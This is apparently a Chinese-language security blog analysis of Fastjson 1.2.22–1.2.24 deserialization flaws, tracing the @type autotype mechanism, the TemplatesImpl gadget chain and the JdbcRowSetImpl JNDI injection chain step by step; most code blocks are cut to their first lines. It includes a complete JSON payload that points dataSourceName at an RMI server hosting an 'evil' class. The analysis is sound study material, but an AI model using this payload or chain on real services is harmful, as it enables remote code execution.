Fastjson概述
Fastjson是阿里巴巴的开源库,用于对JSON格式的数据进行解析,能够快速序列化和反序列化。
一共有两条利用链:
1 | TemplatesImpl |
漏洞版本:fastjson 1.2.22-1.2.24
pom.xml
1 | <dependency> |
Fastjson序列化
测试代码:
1 | package Test; |
将对象标准序列化成JSON代码,并发现调用了set和get函数

下面来看Fastjson自省模式下的序列化

在JSON.toJSONString()中多传入了一个SerializerFeature.WriteClassName,可以使Fastjson本身支持自省,生成的json序列化多了一个@type字段,它代表着对象类型。Fastjson的漏洞就是跟@Type有很大关系,让指定的类在反序列化时候去调用相应的get/set/is方法。
在JavaBeanInfo#build中存在获取get/set方法名的一些满足条件(后面会分析到)
1 | set: |

Fastjson反序列化
Fastjson反序列化有两种方法:JSON.parseObject()和 JSON.parse()
两种方法的返回对象有所不同。
parseObject 返回Fastjson.JSONObject类
parse 返回传入的类

如果在parseObject()传入指定类的话,那二者的返回类便是一样的

JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装。
在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,而反序列化的时候在,会调用了指定类的全部的setter,publibc修饰的成员全部赋值
@type
上面提到过,Fastjson Autotype在处理json对象时如果未经安全处理,可以用@type指定类,在反序列化时候就会自动调用其set/get方法。
在构造的恶意类的set方法中添加命令执行

本地生成JSON序列化时会调用set执行命令,但这只是攻击者的本地。

下面我们用springboot起一个web服务,假设其中用parseObject()对传入的数据进行了Fastjson反序列化操作

然后我们在直接用@type直接指定这个恶意的类,可以看见直接触发了set方法并执行了命令。


Fastjson TemplatesImpl链
TemplatesImpl相当于JNDI利用有更多局限。
服务后端的JSON解析要为
1 | parseObject(input,Object.class,Feature.SupportNonPublicField) |
验证漏洞:
1 | package Test; |

完整POC:
1 | package Test; |

前半段javassist生成字节码和TemplatesImpl链在CommonCollection-2中分析过,这里不再详细分析。
先解决几个疑问
1.为什么_bytecodes要Base64编码?
在 com/alibaba/fastjson/serializer/ObjectArrayCodec#deserialze()处调用了bytesValue()

在其中便进行了base64解码操作
2._tfactory和_name为什么这样赋值?
在Common Collection2调过利用链,让他们非空是为了让链满足条件,继续运行下去。
3.为什么反序列化时候要加Feature.SupportNonPublicField?
开头说过这个字段是为了反序列化private属性的成员,而TemplatesImpl传入的成员就有private

4.这个 _outputProperties 加进来是干嘛的?
这是漏洞利用的关键参数。因为Fastjson反序列化时候会调用getOutputProperties()方法
利用链分析
主函数parseObject下断点

传入字段分别是json数据,Object.class和Feature参数

进入JSON#parseObject()

进入DefaultJSONParse方法


获取当前第一个字符,进入第一个if,将12赋值给lexer.token

再次回到JSON.class,parseObject来解析传入的类

刚才已经知道了lexer.token为12,所以直接调用getDeserializer

这里根据我们传入的Type来寻找对应的反序列化器。

在第一个if就直接return了

返回到 DefaultJSONParser#parseObject()

利用刚才返回的反序列化器对JSON进行反序列化
进入到deserialize,在最后进行了parse方法调用

跟进到parse()

switch进入12分支

{ 下一个为 “所以进入该分支

继续往下走,看到另外一个If

我们的key是 @type,并且相应Feature配置没开启,所以满足条件
利用loadClass加载我们的类

依然是获取反序列化器,这里的对象是TemplatesImpl。
先进入getDeserializer()
因为TemplatesImpl找不到反序列化器,所以为Null所以进入第二个分支

到达ParserConing#getDeserializer()
getName()获取了类名

有个简单的黑名单,太简单了没啥用

往下走,来到createJavaBeanDeserializer()

调用build方法

buidl会通过反射获取类的信息,并存放下来。上面也说过这里会对set和get方法名进行一系列判断。


注意在get的查找方法中,会遍历类的所有方法
而TemplatesImpl#getOutputProperties()方法正好满足这些条件


保存添加这些数据并返回

回到DefaultJSONParser

进入JavaBeanDeserializer#derialize()

token等于16,所以跳过很多if
这里循环赋值一些field属性,内容就是之前build时候实例化时候构造的.

第一个就获取到了outputProperties
往下走到parseField()解析参数

对参数key进行smartMatch()智能模糊匹配

smartMatch()先是取反序列化器(null),再判断是否is开头,然后从sortedFieldDeserializers赋值变量。

重点这里将key的 _ 和 - 给去除了,那么_outputProperties就变成outputProperties了

调用getFieldDeserializer方法

在sortedFieldDeserializers中找到包含getOutputProperties那组并返回

返回到parseField方法,在最后调用了DefaultFieldDeserializer#parseField

在DefaultFieldDeserializer#parseField中对属性进行反序列化,并返回给value

可以看到在setValue()中,经过取method属性后,method已经被赋值为getOutputProperties


然后在下面直接通过invoke反射触发了该函数,从而调动了TemplatesImpl链

接下来就是TemplatesImpl内部链的调用过程了,不详细分析了



Fastjson JdbcRowSetImpl链
接着上面的TemplatesImpl链,这里分析JdbcRowSetImpl链。
前者的局限性较大,需要按照特定的格式传入特定的参数,后者所受限制就小了很多,只需要Json.parse(input)即可触发漏洞。

(各方法JDK版本要求)
JDNI注入攻击流程:
1 | 客户端lookup的url可控 |
详情分析请看JNDI注入
JdbcRowSetImpl链 影响版本 fastjson<=1.2.24
RMIServer:
1 | package Test; |
evil.java:
(编译后放在请求目录下)
1 | import javax.naming.Context; |
攻击者:
1 | package Test; |

1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/Teabo", "autoCommit":true} |
利用链分析
JSON.parse()下断点

中间的Fastjson链分析同上面TemplatesImpl的分析过程,所以这里我们直接在DefaultFieldDeserializer#parseField下断点

在setValue()里同样有invoke反射执行的操作

首先是反射执行setDataSourceName方法
该方法对dataSource赋值为我们的rmi地址


再次回到setValue()方法,这次反射调用的是JdbcRowSetImpl#setAutoCommit


调用了connect()

这里直接就调用了lookup(),并且其中的URL正是刚才通过setDataSourceName赋值的RMI服务地址,造成了JNDI注入。(lookup之后发生了什么,详情请看JNDI注入)

参考文章
https://www.cnblogs.com/nice0e3/p/14601670.html
https://www.freebuf.com/vuls/178012.html
https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ